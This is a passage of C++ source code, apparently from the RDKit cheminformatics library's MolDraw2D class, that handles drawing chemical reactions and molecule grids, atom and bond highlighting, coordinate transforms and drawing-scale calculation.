drawOptions().includeMetadata = false;\n\n  ROMol *tmol = ChemicalReactionToRxnMol(nrxn);\n  MolOps::findSSSR(*tmol);\n\n  if (needs_scale_ &&\n      (!nrxn.getNumReactantTemplates() || !nrxn.getNumProductTemplates())) {\n    // drawMolecule() will figure out the scaling so that the molecule\n    // fits the drawing pane. In order to ensure that we have space for the\n    // arrow, we need to figure out the scaling on our own.\n    RWMol tmol2;\n    tmol2.addAtom(new Atom(0), true, true);\n    tmol2.addAtom(new Atom(0), true, true);\n    tmol2.addConformer(new Conformer(2), true);\n    tmol2.getConformer().getAtomPos(0) =\n        RDGeom::Point3D(arrowBegin.x, arrowBegin.y, 0);\n    tmol2.getConformer().getAtomPos(1) =\n        RDGeom::Point3D(arrowEnd.x, arrowEnd.y, 0);\n\n    for (auto atom : tmol2.atoms()) {\n      atom->calcImplicitValence();\n    }\n\n    tmol2.insertMol(*tmol);\n    pushDrawDetails();\n    extractAtomCoords(tmol2, 0, true);\n    extractAtomSymbols(tmol2);\n    calculateScale(panelWidth(), drawHeight(), tmol2);\n    needs_scale_ = false;\n    popDrawDetails();\n  }\n\n  std::vector<int> *atom_highlights = nullptr;\n  std::map<int, DrawColour> *atom_highlight_colors = nullptr;\n  std::vector<int> *bond_highlights = nullptr;\n  std::map<int, DrawColour> *bond_highlight_colors = nullptr;\n  if (highlightByReactant) {\n    const std::vector<DrawColour> *colors =\n        &drawOptions().highlightColourPalette;\n    if (highlightColorsReactants) {\n      colors = highlightColorsReactants;\n    }\n    std::vector<int> atomfragmap;\n    MolOps::getMolFrags(*tmol, atomfragmap);\n\n    atom_highlights = new std::vector<int>();\n    atom_highlight_colors = new std::map<int, DrawColour>();\n    bond_highlights = new std::vector<int>();\n    bond_highlight_colors = new std::map<int, DrawColour>();\n    std::map<int, int> atommap_fragmap;\n    for (unsigned int aidx = 0; aidx < tmol->getNumAtoms(); ++aidx) {\n      int atomRole = -1;\n      Atom *atom = tmol->getAtomWithIdx(aidx);\n      if (atom->getPropIfPresent(\"molRxnRole\", atomRole) && atomRole == 1 &&\n          atom->getAtomMapNum()) {\n        atommap_fragmap[atom->getAtomMapNum()] = atomfragmap[aidx];\n        atom_highlights->push_back(aidx);\n        (*atom_highlight_colors)[aidx] =\n            (*colors)[atomfragmap[aidx] % colors->size()];\n\n        atom->setAtomMapNum(0);\n        // add highlighted bonds to lower-numbered\n        // (and thus already covered) neighbors\n        for (const auto &nbri :\n             make_iterator_range(tmol->getAtomNeighbors(atom))) {\n          const Atom *nbr = (*tmol)[nbri];\n          if (nbr->getIdx() < aidx &&\n              atomfragmap[nbr->getIdx()] == atomfragmap[aidx]) {\n            int bondIdx =\n                tmol->getBondBetweenAtoms(aidx, nbr->getIdx())->getIdx();\n            bond_highlights->push_back(bondIdx);\n            (*bond_highlight_colors)[bondIdx] = (*atom_highlight_colors)[aidx];\n          }\n        }\n      }\n    }\n    for (unsigned int aidx = 0; aidx < tmol->getNumAtoms(); ++aidx) {\n      int atomRole = -1;\n      Atom *atom = tmol->getAtomWithIdx(aidx);\n      if (atom->getPropIfPresent(\"molRxnRole\", atomRole) && atomRole == 2 &&\n          atom->getAtomMapNum() &&\n          atommap_fragmap.find(atom->getAtomMapNum()) !=\n              atommap_fragmap.end()) {\n        atom_highlights->push_back(aidx);\n        (*atom_highlight_colors)[aidx] =\n            (*colors)[atommap_fragmap[atom->getAtomMapNum()] % colors->size()];\n\n        atom->setAtomMapNum(0);\n        // add highlighted bonds to lower-numbered\n        // (and thus already covered) neighbors\n        for (const auto &nbri :\n             make_iterator_range(tmol->getAtomNeighbors(atom))) {\n          const Atom *nbr = (*tmol)[nbri];\n          if (nbr->getIdx() < aidx && (*atom_highlight_colors)[nbr->getIdx()] ==\n                                          (*atom_highlight_colors)[aidx]) {\n            int bondIdx =\n                tmol->getBondBetweenAtoms(aidx, nbr->getIdx())->getIdx();\n            bond_highlights->push_back(bondIdx);\n            (*bond_highlight_colors)[bondIdx] = (*atom_highlight_colors)[aidx];\n          }\n        }\n      }\n    }\n  }\n\n  drawMolecule(*tmol, \"\", atom_highlights, bond_highlights,\n               atom_highlight_colors, bond_highlight_colors);\n\n  delete tmol;\n  delete atom_highlights;\n  delete atom_highlight_colors;\n  delete bond_highlights;\n  delete bond_highlight_colors;\n\n  double o_font_scale = text_drawer_->fontScale();\n  double fsize = text_drawer_->fontSize();\n  double new_font_scale =\n      2.0 * o_font_scale * drawOptions().legendFontSize / fsize;\n  text_drawer_->setFontScale(new_font_scale);\n\n  DrawColour odc = colour();\n  setColour(options_.symbolColour);\n\n  // now add the symbols\n  for (auto plusLoc : plusLocs) {\n    Point2D loc(plusLoc, arrowBegin.y);\n    drawString(\"+\", loc);\n  }\n\n  // The arrow:\n  drawArrow(arrowBegin, arrowEnd);\n\n  if (origDrawOptions.includeMetadata) {\n    this->updateMetadata(nrxn);\n  }\n\n  setColour(odc);\n  text_drawer_->setFontScale(o_font_scale);\n  drawOptions() = origDrawOptions;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawMolecules(\n    const std::vector<ROMol *> &mols, const std::vector<std::string> *legends,\n    const std::vector<std::vector<int>> *highlight_atoms,\n    const std::vector<std::vector<int>> *highlight_bonds,\n    const std::vector<std::map<int, DrawColour>> *highlight_atom_maps,\n    const std::vector<std::map<int, DrawColour>> *highlight_bond_maps,\n    const std::vector<std::map<int, double>> *highlight_radii,\n    const std::vector<int> *confIds) {\n  PRECONDITION(!legends || legends->size() == mols.size(), \"bad size\");\n  PRECONDITION(!highlight_atoms || highlight_atoms->size() == mols.size(),\n               \"bad size\");\n  PRECONDITION(!highlight_bonds || highlight_bonds->size() == mols.size(),\n               \"bad size\");\n  PRECONDITION(\n      !highlight_atom_maps || highlight_atom_maps->size() == mols.size(),\n      \"bad size\");\n  PRECONDITION(\n      !highlight_bond_maps || highlight_bond_maps->size() == mols.size(),\n      \"bad size\");\n  PRECONDITION(!highlight_radii || highlight_radii->size() == mols.size(),\n               \"bad size\");\n  PRECONDITION(!confIds || confIds->size() == mols.size(), \"bad size\");\n  PRECONDITION(panel_width_ != 0, \"panel width cannot be zero\");\n  PRECONDITION(panel_height_ != 0, \"panel height cannot be zero\");\n  PRECONDITION(width_ > 0 && height_ > 0,\n               \"drawMolecules() needs a fixed canvas size\");\n  if (!mols.size()) {\n    return;\n  }\n\n  setupTextDrawer();\n  vector<unique_ptr<RWMol>> tmols;\n  calculateScale(panelWidth(), drawHeight(), mols, highlight_atoms,\n                 highlight_radii, confIds, tmols);\n  // so drawMolecule doesn't recalculate the scale each time, and\n  // undo all the good work.\n  needs_scale_ = false;\n\n  int nCols = width() / panelWidth();\n  int nRows = height() / panelHeight();\n  for (unsigned int i = 0; i < mols.size(); ++i) {\n    if (!mols[i]) {\n      continue;\n    }\n\n    int row = 0;\n    // note that this also works when no panel size is specified since\n    // the panel dimensions defaults to -1\n    if (nRows > 1) {\n      row = i / nCols;\n    }\n    int col = 0;\n    if (nCols > 1) {\n      col = i % nCols;\n    }\n    setOffset(col * panelWidth(), row * panelHeight());\n\n    ROMol *draw_mol = tmols[i] ? tmols[i].get() : mols[i];\n    unique_ptr<vector<int>> lhighlight_bonds;\n    if (highlight_bonds) {\n      lhighlight_bonds.reset(new std::vector<int>((*highlight_bonds)[i]));\n    } else if (drawOptions().continuousHighlight && highlight_atoms) {\n      lhighlight_bonds.reset(new vector<int>());\n      getBondHighlightsForAtoms(*draw_mol, (*highlight_atoms)[i],\n                                *lhighlight_bonds);\n    };\n\n    drawMolecule(*draw_mol, legends ? (*legends)[i] : \"\",\n                 highlight_atoms ? &(*highlight_atoms)[i] : nullptr,\n                 lhighlight_bonds.get(),\n                 highlight_atom_maps ? &(*highlight_atom_maps)[i] : nullptr,\n                 highlight_bond_maps ? &(*highlight_bond_maps)[i] : nullptr,\n                 highlight_radii ? &(*highlight_radii)[i] : nullptr,\n                 confIds ? (*confIds)[i] : -1);\n    // save the drawn positions of the atoms on the molecule. This is the only\n    // way that we can later add metadata\n    auto tag = boost::str(boost::format(\"_atomdrawpos_%d\") %\n                          (confIds ? (*confIds)[i] : -1));\n    for (unsigned int j = 0; j < mols[i]->getNumAtoms(); ++j) {\n      auto pt = getDrawCoords(j);\n      mols[i]->getAtomWithIdx(j)->setProp(tag, pt, true);\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::highlightCloseContacts() {\n  if (drawOptions().flagCloseContactsDist < 0) {\n    return;\n  }\n  int tol =\n      drawOptions().flagCloseContactsDist * drawOptions().flagCloseContactsDist;\n  boost::dynamic_bitset<> flagged(at_cds_[activeMolIdx_].size());\n  for (unsigned int i = 0; i < at_cds_[activeMolIdx_].size(); ++i) {\n    if (flagged[i]) {\n      continue;\n    }\n    Point2D ci = getDrawCoords(at_cds_[activeMolIdx_][i]);\n    for (unsigned int j = i + 1; j < at_cds_[activeMolIdx_].size(); ++j) {\n      if (flagged[j]) {\n        continue;\n      }\n      Point2D cj = getDrawCoords(at_cds_[activeMolIdx_][j]);\n      double d = (cj - ci).lengthSq();\n      if (d <= tol) {\n        flagged.set(i);\n        flagged.set(j);\n        break;\n      }\n    }\n    if (flagged[i]) {\n      Point2D p1 = at_cds_[activeMolIdx_][i];\n      Point2D p2 = p1;\n      Point2D offset(0.1, 0.1);\n      p1 -= offset;\n      p2 += offset;\n      bool ofp = fillPolys();\n      setFillPolys(false);\n      DrawColour odc = colour();\n      setColour(DrawColour(1, 0, 0));\n      drawRect(p1, p2);\n      setColour(odc);\n      setFillPolys(ofp);\n    }\n  }\n}\n\n// ****************************************************************************\n// transform a set of coords in the molecule's coordinate system\n// to drawing system coordinates\nPoint2D MolDraw2D::getDrawCoords(const Point2D &mol_cds) const {\n  double x = scale_ * (mol_cds.x - x_min_ + x_trans_);\n  double y = scale_ * (mol_cds.y - y_min_ + y_trans_);\n  // y is now the distance from the top of the image, we need to\n  // invert that:\n  x += x_offset_;\n  y -= y_offset_;\n  y = panelHeight() - legend_height_ - y;\n  return Point2D(x, y);\n}\n\n// ****************************************************************************\nPoint2D MolDraw2D::getDrawCoords(int at_num) const {\n  PRECONDITION(activeMolIdx_ >= 0, \"bad mol idx\");\n  return getDrawCoords(at_cds_[activeMolIdx_][at_num]);\n}\n\n// ****************************************************************************\nPoint2D MolDraw2D::getAtomCoords(const pair<int, int> &screen_cds) const {\n  return getAtomCoords(\n      make_pair(double(screen_cds.first), double(screen_cds.second)));\n}\n\nPoint2D MolDraw2D::getAtomCoords(const pair<double, double> &screen_cds) const {\n  double screen_x = screen_cds.first - x_offset_;\n  double screen_y = screen_cds.second - y_offset_;\n  auto x = double(screen_x / scale_ + x_min_ - x_trans_);\n  auto y = double(y_min_ - y_trans_ -\n                  (screen_y - panelHeight() + legend_height_) / scale_);\n  return Point2D(x, y);\n}\n\n// ****************************************************************************\nPoint2D MolDraw2D::getAtomCoords(int at_num) const {\n  PRECONDITION(activeMolIdx_ >= 0, \"bad active mol\");\n  return at_cds_[activeMolIdx_][at_num];\n}\n\n// ****************************************************************************\ndouble MolDraw2D::fontSize() const { return text_drawer_->fontSize(); }\n\n// ****************************************************************************\nvoid MolDraw2D::setFontSize(double new_size) {\n  text_drawer_->setFontSize(new_size);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::setScale(int width, int height, const Point2D &minv,\n                         const Point2D &maxv, const ROMol *mol) {\n  PRECONDITION(width > 0, \"bad width\");\n  PRECONDITION(height > 0, \"bad height\");\n\n  double x_max, y_max;\n  if (mol) {\n    pushDrawDetails();\n    unique_ptr<RWMol> tmol =\n        setupDrawMolecule(*mol, nullptr, nullptr, -1, width, height);\n    calculateScale(height, width, *tmol);\n    popDrawDetails();\n    x_min_ = min(minv.x, x_min_);\n    y_min_ = min(minv.y, y_min_);\n    x_max = max(maxv.x, x_range_ + x_min_);\n    y_max = max(maxv.y, y_range_ + y_min_);\n  } else {\n    x_min_ = minv.x;\n    y_min_ = minv.y;\n    x_max = maxv.x;\n    y_max = maxv.y;\n  }\n\n  x_range_ = x_max - x_min_;\n  y_range_ = y_max - y_min_;\n\n  needs_scale_ = false;\n\n  if (x_range_ < 1.0e-4) {\n    x_range_ = 1.0;\n    x_min_ = -0.5;\n  }\n  if (y_range_ < 1.0e-4) {\n    y_range_ = 1.0;\n    y_min_ = -0.5;\n  }\n\n  // put a buffer round the drawing and calculate a final scale\n  x_min_ -= drawOptions().padding * x_range_;\n  x_range_ *= 1 + 2 * drawOptions().padding;\n  y_min_ -= drawOptions().padding * y_range_;\n  y_range_ *= 1 + 2 * drawOptions().padding;\n\n  scale_ = std::min(double(width) / x_range_, double(height) / y_range_);\n  text_drawer_->setFontScale(scale_);\n  double y_mid = y_min_ + 0.5 * y_range_;\n  double x_mid = x_min_ + 0.5 * x_range_;\n  x_trans_ = y_trans_ = 0.0;  // getDrawCoords uses [xy_]trans_\n  Point2D mid = getDrawCoords(Point2D(x_mid, y_mid));\n  // that used the offset, we need to remove that:\n  mid.x -= x_offset_;\n  mid.y += y_offset_;\n  x_trans_ = (width / 2 - mid.x) / scale_;\n  y_trans_ = (mid.y - height / 2) / scale_;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::calculateScale(int width, int height, const ROMol &mol,\n                               const std::vector<int> *highlight_atoms,\n                               const std::map<int, double> *highlight_radii,\n                               int confId) {\n  PRECONDITION(activeMolIdx_ >= 0, \"bad active mol\");\n\n  // cout << \"calculateScale  width = \" << width << \"  height = \" << height\n  //      << endl;\n\n  x_min_ = y_min_ = numeric_limits<double>::max();\n  double x_max(-x_min_), y_max(-y_min_);\n\n  // first find the bounding box defined by the atoms\n  for (const auto &pt : at_cds_[activeMolIdx_]) {\n    x_min_ = std::min(pt.x, x_min_);\n    y_min_ = std::min(pt.y, y_min_);\n    x_max = std::max(pt.x, x_max);\n    y_max = std::max(pt.y, y_max);\n  }\n\n  // adjust based on the shapes (if any)\n  for (const auto &shp : pre_shapes_[activeMolIdx_]) {\n    for (const auto &pt : shp.points) {\n      x_min_ = std::min(pt.x, x_min_);\n      y_min_ = std::min(pt.y, y_min_);\n      x_max = std::max(pt.x, x_max);\n      y_max = std::max(pt.y, y_max);\n    }\n  }\n  for (const auto &shp : post_shapes_[activeMolIdx_]) {\n    for (const auto &pt : shp.points) {\n      x_min_ = std::min(pt.x, x_min_);\n      y_min_ = std::min(pt.y, y_min_);\n      x_max = std::max(pt.x, x_max);\n      y_max = std::max(pt.y, y_max);\n    }\n  }\n\n  // calculate the x and y spans\n  x_range_ = x_max - x_min_;\n  y_range_ = y_max - y_min_;\n  if (x_range_ < 1e-4) {\n    x_range_ = 2.0;\n    x_min_ -= 1.0;\n    x_max += 1.0;\n  }\n  if (y_range_ < 1e-4) {\n    y_range_ = 2.0;\n    y_min_ -= 1.0;\n    y_max += 1.0;\n  }\n\n  bool setWidth = false;\n  if (width < 0) {\n    // FIX: technically we need to take the legend width into account too!\n    width = drawOptions().scalingFactor * x_range_;\n    width_ = width;\n    panel_width_ = width;\n    setWidth = true;\n  }\n  bool setHeight = false;\n  if (height < 0) {\n    // we need to adjust the range for the legend\n    // if it's not present then legend_height_ will be zero and this will be a\n    // no-op\n    y_range_ += legend_height_ / drawOptions().scalingFactor;\n    height = drawOptions().scalingFactor * y_range_;\n    height_ = height;\n    panel_height_ = height;\n    setHeight = true;\n  }\n\n  if (drawOptions().baseFontSize > 0.0) {\n    text_drawer_->setBaseFontSize(drawOptions().baseFontSize);\n  }\n\n  scale_ = std::min(double(width) / x_range_, double(height) / y_range_);\n\n  // we may need to adjust the scale if there are atom symbols that go off\n  // the edges, and we probably need to do it iteratively because\n  // get_string_size uses the current value of scale_.\n  // We also need to adjust for highlighted atoms if there are any.\n  // And now we need to take account of strings with N/S orientation\n  // as well.\n  while (scale_ > 1e-4) {\n    text_drawer_->setFontScale(scale_);\n    adjustScaleForAtomLabels(highlight_atoms, highlight_radii);\n    adjustScaleForRadicals(mol);\n    if (supportsAnnotations() && !annotations_.empty() &&\n        !annotations_[activeMolIdx_].empty()) {\n      adjustScaleForAnnotation(annotations_[activeMolIdx_]);\n    }\n    double old_scale = scale_;\n    scale_ = std::min(double(width) / x_range_, double(height) / y_range_);\n    if (fabs(scale_ - old_scale) < 0.1) {\n      break;\n    }\n  }\n\n  // put a 5% buffer round the drawing and calculate a final scale\n  x_min_ -= drawOptions().padding * x_range_;\n  x_range_ *= 1 + 2 * drawOptions().padding;\n  y_min_ -= drawOptions().padding * y_range_;\n  y_range_ *= 1 + 2 * drawOptions().padding;\n\n  if (x_range_ > 1e-4 || y_range_ > 1e-4) {\n    if (setWidth) {\n      width = drawOptions().scalingFactor * x_range_;\n      width_ = width;\n      panel_width_ = width;\n    }\n    if (setHeight) {\n      height = drawOptions().scalingFactor * y_range_;\n      height_ = height;\n      panel_height_ = height;\n    }\n\n    scale_ = std::min(double(width) / x_range_, double(height) / y_range_);\n    double fix_scale = scale_;\n    // after all that, use the fixed scale unless it's too big, in which case\n    // scale the drawing down to fit.\n    // fixedScale takes precedence if both it and fixedBondLength are given.\n    if (drawOptions().fixedBondLength > 0.0) {\n      fix_scale = drawOptions().fixedBondLength;\n    }\n    if (drawOptions().fixedScale > 0.0) {\n      fix_scale = double(width) * drawOptions().fixedScale;\n    }\n    if (scale_ > fix_scale) {\n      scale_ = fix_scale;\n    }\n    centrePicture(width, height);\n  } else {\n    scale_ = 1;\n    x_trans_ = 0.;\n    y_trans_ = 0.;\n  }\n\n  const auto &conf = mol.getConformer(confId);\n  double meanBondLength = 0.0;\n  unsigned int nBonds = 0;\n  for (const auto &bond : mol.bonds()) {\n    meanBondLength += (conf.getAtomPos(bond->getBeginAtomIdx()) -\n                       conf.getAtomPos(bond->getEndAtomIdx()))\n                          .length();\n    ++nBonds;\n  }\n  meanBondLength /= nBonds;\n  // the rdkit depictor sets bond lengths to be like covalent bond lengths\n  // but many others set them to a smaller base value\n  // In this case the fonts will be too big, so add a correction there.\n  // both the 1.0 and the 0.75 are empirical\n  if (meanBondLength < 1.0) {\n    text_drawer_->setBaseFontSize(text_drawer_->baseFontSize() * 0.75);\n  }\n  text_drawer_->setFontScale(scale_);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::calculateScale(int width, int height,\n                               const vector<ROMol *> &mols,\n                               const vector<vector<int>> *highlight_atoms,\n                               const vector<map<int, double>> *highlight_radii,\n                               const vector<int> *confIds,\n                               vector<unique_ptr<RWMol>> &tmols) {\n  double global_x_min, global_x_max, global_y_min, global_y_max;\n  global_x_min = global_y_min = numeric_limits<double>::max();\n  global_x_max = global_y_max = -numeric_limits<double>::max();\n\n  double meanBondLength = 0.0;\n  unsigned int nBonds = 0;\n  for (size_t i = 0; i < mols.size(); ++i) {\n    tabulaRasa();\n    if (!mols[i]) {\n      tmols.emplace_back(unique_ptr<RWMol>(new RWMol));\n      continue;\n    }\n    const vector<int> *ha = highlight_atoms ? &(*highlight_atoms)[i] : nullptr;\n    const map<int, double> *hr =\n        highlight_radii ? &(*highlight_radii)[i] : nullptr;\n    int id = confIds ? (*confIds)[i] : -1;\n\n    pushDrawDetails();\n    needs_scale_ = true;\n    unique_ptr<RWMol> rwmol =\n        setupDrawMolecule(*mols[i], ha, hr, id, width, height);\n    double x_max = x_min_ + x_range_;\n    double y_max = y_min_ + y_range_;\n    global_x_min = min(x_min_, global_x_min);\n    global_x_max = max(x_max, global_x_max);\n    global_y_min = min(y_min_, global_y_min);\n    global_y_max = max(y_max, global_y_max);\n\n    const auto &conf = rwmol->getConformer(id);\n    for (const auto &bond : rwmol->bonds()) {\n      meanBondLength += (conf.getAtomPos(bond->getBeginAtomIdx()) -\n                         conf.getAtomPos(bond->getEndAtomIdx()))\n                            .length();\n      ++nBonds;\n    }\n\n    tmols.emplace_back(std::move(rwmol));\n    popDrawDetails();\n  }\n  meanBondLength /= nBonds;\n  // the rdkit depictor sets bond lengths to be like covalent bond lengths\n  // but many others set them to a smaller base value\n  // In this case the fonts will be too big, so add a correction there.\n  // both the 1.0 and the 0.75 are empirical\n  if (meanBondLength < 1.0) {\n    text_drawer_->setBaseFontSize(text_drawer_->baseFontSize() * 0.75);\n  }\n\n  x_min_ = global_x_min;\n  y_min_ = global_y_min;\n  x_range_ = global_x_max - global_x_min;\n  y_range_ = global_y_max - global_y_min;\n  scale_ = std::min(double(width) / x_range_, double(height) / y_range_);\n  text_drawer_->setFontScale(scale_);\n  centrePicture(width, height);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::centrePicture(int width, int height) {\n  double y_mid = y_min_ + 0.5 * y_range_;\n  double x_mid = x_min_ + 0.5 * x_range_;\n  Point2D mid;\n  // this is getDrawCoords() but using height rather than height()\n  // to turn round the y coord and not using x_trans_ and y_trans_\n  // which we are trying to calculate at this point.\n  mid.x = scale_ * (x_mid - x_min_);\n  mid.y = scale_ * (y_mid - y_min_);\n  // y is now the distance from the top of the image, we need to\n  // invert that:\n  mid.x += x_offset_;\n  mid.y -= y_offset_;\n  mid.y = height - mid.y;\n\n  // that used the offset, we need to remove that:\n  mid.x -= x_offset_;\n  mid.y += y_offset_;\n  x_trans_ = (width / 2 - mid.x) / scale_;\n  y_trans_ = (mid.y - height / 2) / scale_;\n};\n\nnamespace {}  // namespace\n\n// ****************************************************************************\nvoid MolDraw2D::drawLine(const Point2D &cds1, const Point2D &cds2,\n                         const DrawColour &col1, const DrawColour &col2) {\n  if (drawOptions().comicMode) {\n    setFillPolys(false);\n    if (col1 == col2) {\n      setColour(col1);\n      auto pts =\n          MolDraw2D_detail::handdrawnLine(cds1, cds2, scale_, true, true);\n      drawPolygon(pts);\n    } else {\n      Point2D mid = (cds1 + cds2) * 0.5;\n      setColour(col1);\n      auto pts =\n          MolDraw2D_detail::handdrawnLine(cds1, mid, scale_, true, false);\n      drawPolygon(pts);\n      setColour(col2);\n      auto pts2 =\n          MolDraw2D_detail::handdrawnLine(mid, cds2, scale_, false, true);\n      drawPolygon(pts2);\n    }\n  } else {\n    if (col1 == col2) {\n      setColour(col1);\n      drawLine(cds1, cds2);\n    } else {\n      Point2D mid = (cds1 + cds2) * 0.5;\n      setColour(col1);\n      drawLine(cds1, mid);\n      setColour(col2);\n      drawLine(mid, cds2);\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::getStringSize(const std::string &label, double &label_width,\n                              double &label_height) const {\n  text_drawer_->getStringSize(label, label_width, label_height);\n  label_width /= scale();\n  label_height /= scale();\n\n  // cout << label << \" : \" << label_width << \" by \" << label_height\n  //     << \" : \" << scale() << endl;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::getLabelSize(const string &label, OrientType orient,\n                             double &label_width, double &label_height) const {\n  if (orient == OrientType::N || orient == OrientType::S) {\n    label_height = 0.0;\n    label_width = 0.0;\n    vector<string> sym_bits = atomLabelToPieces(label, orient);\n    double height, width;\n    for (auto bit : sym_bits) {\n      getStringSize(bit, width, height);\n      if (width > label_width) {\n        label_width = width;\n      }\n      label_height += height;\n    }\n  } else {\n    getStringSize(label, label_width, label_height);\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::getStringExtremes(const string &label, OrientType orient,\n                                  const Point2D &cds, double &x_min,\n                                  double &y_min, double &x_max,\n                                  double &y_max) const {\n  text_drawer_->getStringExtremes(label, orient, x_min, y_min, x_max, y_max);\n  Point2D draw_cds = getDrawCoords(cds);\n  x_min += draw_cds.x;\n  x_max += draw_cds.x;\n  y_min += draw_cds.y;\n  y_max += draw_cds.y;\n\n  Point2D new_mins = getAtomCoords(make_pair(x_min, y_min));\n  Point2D new_maxs = getAtomCoords(make_pair(x_max, y_max));\n  x_min = new_mins.x;\n  y_min = new_mins.y;\n  x_max = new_maxs.x;\n  y_max = new_maxs.y;\n\n  // draw coords to atom coords reverses y\n  if (y_min > y_max) {\n    swap(y_min, y_max);\n  }\n}\n\n// ****************************************************************************\n// draws the string centred on cds\nvoid MolDraw2D::drawString(const string &str, const Point2D &cds) {\n  Point2D draw_cds = getDrawCoords(cds);\n  text_drawer_->drawString(str, draw_cds, OrientType::N);\n  //  int olw = lineWidth();\n  //  setLineWidth(0);\n  //  text_drawer_->drawStringRects(str, OrientType::N, TextAlignType::MIDDLE,\n  //                                draw_cds, *this);\n  //  setLineWidth(olw);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawString(const std::string &str, const Point2D &cds,\n                           TextAlignType talign) {\n  Point2D draw_cds = getDrawCoords(cds);\n  text_drawer_->drawString(str, draw_cds, talign);\n}\n\n// ****************************************************************************\nDrawColour MolDraw2D::getColour(\n    int atom_idx, const std::vector<int> *highlight_atoms,\n    const std::map<int, DrawColour> *highlight_map) {\n  PRECONDITION(activeMolIdx_ >= 0, \"bad mol idx\");\n  PRECONDITION(atom_idx >= 0, \"bad atom_idx\");\n  PRECONDITION(rdcast<int>(atomic_nums_[activeMolIdx_].size()) > atom_idx,\n               \"bad atom_idx\");\n  DrawColour retval =\n      getColourByAtomicNum(atomic_nums_[activeMolIdx_][atom_idx]);\n\n  // set contents of highlight_atoms to red\n  if (!drawOptions().circleAtoms && !drawOptions().continuousHighlight) {\n    if (highlight_atoms &&\n        highlight_atoms->end() !=\n            find(highlight_atoms->begin(), highlight_atoms->end(), atom_idx)) {\n      retval = drawOptions().highlightColour;\n    }\n    // over-ride with explicit colour from highlight_map if there is one\n    if (highlight_map) {\n      auto p = highlight_map->find(atom_idx);\n      if (p != highlight_map->end()) {\n        retval = p->second;\n      }\n    }\n  }\n  return retval;\n}\n\n// ****************************************************************************\nDrawColour MolDraw2D::getColourByAtomicNum(int atomic_num) {\n  DrawColour res;\n  if (drawOptions().atomColourPalette.find(atomic_num) !=\n      drawOptions().atomColourPalette.end()) {\n    res = drawOptions().atomColourPalette[atomic_num];\n  } else if (atomic_num != -1 && drawOptions().atomColourPalette.find(-1) !=\n                                     drawOptions().atomColourPalette.end()) {\n    // if -1 is in the palette, we use that for undefined colors\n    res = drawOptions().atomColourPalette[-1];\n  } else {\n    // if all else fails, default to black:\n    res = DrawColour(0, 0, 0);\n  }\n  return res;\n}\n\n// ****************************************************************************\nunique_ptr<RWMol> MolDraw2D::setupDrawMolecule(\n    const ROMol &mol, const vector<int> *highlight_atoms,\n    const map<int, double> *highlight_radii, int confId, int width,\n    int height) {\n  // some of the code in here, such as extractSGroupData requires\n  // that everything be working in original coords.  drawMolecules()\n  // passes through setupDrawMolecule twice, once to set the global\n  // scale, then to actually do the drawing.  It's essential that\n  // all the drawing scaling is set to initial values for this, so\n  // save the current values before resetting them.  This is relevant\n  // principally for when drawMolecules sets the global scale.\n  double curr_scale = scale_;\n  scale_ = 1.0;\n  double curr_font_scale = text_drawer_->fontScale();\n  text_drawer_->setFontScale(1.0, true);\n  double curr_x_trans = x_trans_;\n  double curr_y_trans = y_trans_;\n  int curr_x_offset = x_offset_;\n  int curr_y_offset = y_offset_;\n  double curr_x_min = x_min_;\n  double curr_y_min = y_min_;\n\n  x_trans_ = y_trans_ = 0.0;\n  x_offset_ = y_offset_ = 0;\n  x_min_ = y_min_ = 0.0;\n\n  unique_ptr<RWMol> rwmol{new RWMol(mol)};\n  if (drawOptions().prepareMolsBeforeDrawing || !mol.getNumConformers()) {\n    MolDraw2DUtils::prepareMolForDrawing(*rwmol);\n  }\n  if (drawOptions().centreMoleculesBeforeDrawing) {\n    if (rwmol->getNumConformers()) {\n      centerMolForDrawing(*rwmol, confId);\n    }\n  }\n  if (drawOptions().simplifiedStereoGroupLabel &&\n      !mol.hasProp(common_properties::molNote)) {\n    // FIX: pull this out into a function\n    auto sgs = mol.getStereoGroups();\n    if (sgs.size() == 1) {\n      boost::dynamic_bitset<> chiralAts(mol.getNumAtoms());\n      for (const auto atom : mol.atoms()) {\n        if (atom->getChiralTag() > Atom::ChiralType::CHI_UNSPECIFIED &&\n            atom->getChiralTag() < Atom::ChiralType::CHI_OTHER) {\n          chiralAts.set(atom->getIdx(), 1);\n        }\n      }\n      for (const auto atm : sgs[0].getAtoms()) {\n        chiralAts.set(atm->getIdx(), 0);\n      }\n      if (chiralAts.none()) {\n        // all specified chiral centers are accounted for by this StereoGroup.\n        if (sgs[0].getGroupType() == StereoGroupType::STEREO_OR ||\n            sgs[0].getGroupType() == StereoGroupType::STEREO_AND) {\n          std::vector<StereoGroup> empty;\n          rwmol->setStereoGroups(std::move(empty));\n          std::string label =\n              sgs[0].getGroupType() == StereoGroupType::STEREO_OR\n                  ? \"OR enantiomer\"\n                  : \"AND enantiomer\";\n          rwmol->setProp(common_properties::molNote, label);\n        }\n        // clear the chiral codes on the atoms so that we don't\n        // inadvertently draw them later\n        for (const auto atm : sgs[0].getAtoms()) {\n          rwmol->getAtomWithIdx(atm->getIdx())\n              ->clearProp(common_properties::_CIPCode);\n        }\n      }\n    }\n  }\n  if (!rwmol->getNumConformers()) {\n    // clearly, the molecule is in a sorry state.\n    return rwmol;\n  }\n\n  if (drawOptions().addStereoAnnotation) {\n    MolDraw2D_detail::addStereoAnnotation(*rwmol);\n  }\n  if (drawOptions().addAtomIndices) {\n    MolDraw2D_detail::addAtomIndices(*rwmol);\n  }\n  if (drawOptions().addBondIndices) {\n    MolDraw2D_detail::addBondIndices(*rwmol);\n  }\n  bool updateBBox = !activeMolIdx_;\n  extractAtomCoords(*rwmol, confId, updateBBox);\n  extractAtomSymbols(*rwmol);\n  extractAtomNotes(*rwmol);\n  extractBondNotes(*rwmol);\n  extractRadicals(*rwmol);\n  if (activeMolIdx_ >= 0 &&\n      post_shapes_.size() > static_cast<size_t>(activeMolIdx_) &&\n      pre_shapes_.size() > static_cast<size_t>(activeMolIdx_)) {\n    post_shapes_[activeMolIdx_].clear();\n    pre_shapes_[activeMolIdx_].clear();\n  }\n  extractSGroupData(*rwmol);\n  